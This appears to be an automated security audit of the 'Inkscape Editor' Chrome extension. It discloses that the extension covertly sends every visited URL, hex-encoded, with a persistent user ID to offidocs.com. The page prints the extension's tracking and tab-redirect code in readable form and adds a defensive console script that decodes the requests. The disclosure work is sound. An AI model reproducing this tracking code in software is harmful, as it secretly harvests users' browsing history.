Is Inkscape editor for draws and graphics safe?
Inkscape is high risk. On any HTTP/HTTPS page, the extension sends the URL to offidocs.com with a persistent install ID, on every tab switch and load. We captured four requests, including a planted marker URL. The ID persists, letting offidocs.com build a record.
Strong link to a flagged operator: 17 of the 26 other listings from the same operator are rated high or critical for malicious behavior. Flagged: X-Audacity (high), Gimp Online (high), ApkOnline (high).
Who publishes itofficeonlinesystems - 26 other listings from the same operator, 19 of them carrying a finding
officeonlinesystems - 26 other listings from the same operator, 19 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
19 other listings published from this account, 1.6M+ users between them. 16 of them carry a finding.
Same operator - 7 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Inkscape Editor sends every URL you visit to offidocs.com
On any HTTP/HTTPS page, the extension sends the URL to offidocs.com with a persistent install ID, on every tab switch and load.
We captured four requests, including a planted marker URL.
The ID persists, letting offidocs.com build a record.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You navigate to any web page, any site, anywhere.
The extension sends the full URL to offidocs.com along with a persistent identifier tied to your browser install.
No interaction with Inkscape Editor is required. The request fires on every tab switch and every page load, for any HTTP or HTTPS URL.
HTTP 200. Dynamic analysis captured 4 such requests in one test session. The filepath parameter hex-decodes to the visited URL; the u parameter matches the identifier stored in chrome.storage.local.
The visited URL is hex-encoded before being placed in the query string. This means the URL is not human-readable in your browser's network log without decoding.
https://en.wikipedia.org/wiki/<planted-marker>- The URL you are visitinghttps://en.wikipedia.org/wiki/Main_Page
The exact page you are on, hex-encoded in the 'filepath' query parameter.
- Your persistent user ID6ulw8etvhq
A random 10-character string generated once and stored permanently. Lets offidocs.com link all your visits together across sessions.
- Hex flag1
A hardcoded flag (hex=1) telling the server the URL is hex-encoded. Same for all users.
The tracking code in websecure.js
Tab event listeners — readable form
// Fires on every tab switch AND every page load/update.// No filtering on tab status (e.g. changeInfo.status === 'complete') —// getTabInfo is called on every onUpdated event regardless of load stage.function websecure() { this.init = function () { chrome.tabs.onActivated.addListener(function(activeInfo) { activeTabId = activeInfo.tabId; getTabInfo(activeTabId); // report URL on tab switch }); chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { getTabInfo(tabId); // report URL on any tab update }); };}URL transmission — readable form
async function sendVisitedUrl(url) { // Load or create persistent user identifier from chrome.storage.local const storageResult = await chrome.storage.local.get(['offidocs_key']); let userData = storageResult['offidocs_key'] || { username: null, offidocscloud: null }; if (!userData.username) { userData.username = randomString(10); // generated once, never rotated } if (!userData.offidocscloud) { userData.offidocscloud = '1'; // '1' = enabled; '0' = opt-out } await chrome.storage.local.set({ offidocs_key: userData }); // Opt-out check: if offidocscloud was set to '0' server-side, skip sending. // Default is '1' (enabled). User has no UI control over this. if (userData.offidocscloud === '0') return; // Hex-encode the URL and send it to offidocs.com with the persistent user ID const hexUrl = bin2hex(url); const response = await fetch( `https://www.offidocs.com/media/system/app/checkdownloadinkscapex_2_nav.php` + `?filepath=${hexUrl}&hex=1&u=${userData.username}` ); // If server responds with a body containing '302', silently redirect the // current tab to a different offidocs.com URL if (response.status === 200) { const body = await response.text(); if (body.includes('302')) { const redirectUrl = `https://www.offidocs.com/media/system/app/view_edit_inkscape_nav.php` + `?filepath=${hexUrl}&u=${userData.username}`; chrome.tabs.update(chrome.tabs.getCurrent().id, { url: redirectUrl }); } }}A random 10-char identifier under this key, set on first run, never rotated. 'offidocscloud' controls URL sending; default '1' means active.
- Location
- chrome.storage.local key 'offidocs_key'
{ "username": "6ulw8etvhq", "offidocscloud": "1"}- www.offidocs.com
Primary server receiving every navigation event. offidocs.com is the parent service that distributes this extension and other Office-suite-themed browser extensions.
Run this in a browser console to observe the URL-reporting requests that Inkscape Editor sends. It patches the global fetch() to log any call to offidocs.com/checkdownloadinkscapex_2_nav.php and decodes the hex-encoded filepath parameter.
- Chrome with the Inkscape Editor extension installed
- Chrome DevTools open
// inkscape-nav-canary.js// Intercepts fetch() calls made by the Inkscape Editor extension and// decodes the hex-encoded URLs being sent to offidocs.com.//// Usage: paste into Chrome DevTools console on any page while the// extension is active. Then navigate to a few pages and watch the log.(function () { const TARGET = 'checkdownloadinkscapex_2_nav.php'; function hexToStr(hex) { let result = ''; for (let i = 0; i < hex.length; i += 2) { result += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return result; } const origFetch = window.fetch.bind(window); window.fetch = function (input, init) { const url = typeof input === 'string' ? input : (input.url || String(input)); if (url.includes(TARGET)) { try { const u = new URL(url); const hexPath = u.searchParams.get('filepath'); const userId = u.searchParams.get('u'); const decoded = hexPath ? hexToStr(hexPath) : '(no filepath)'; console.group('[INKSCAPE_NAV] URL reported to offidocs.com'); console.log('Visited URL (decoded):', decoded); console.log('Persistent user ID: ', userId); console.log('Raw request URL: ', url); console.groupEnd(); } catch (e) { console.warn('[INKSCAPE_NAV] parse error:', e); } } return origFetch(input, init); }; console.log('[INKSCAPE_NAV_CANARY] installed. Navigate to any page to see captured requests.');})();- 1Install the Inkscape Editor extension.
- 2Open any page in Chrome and open DevTools (F12).
- 3Paste this script into the Console tab.
- 4Navigate to several pages.
- 5Watch for [INKSCAPE_NAV] entries showing each URL as it's sent.
What it can do
Permissions this extension asks for, as declared in version 3.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs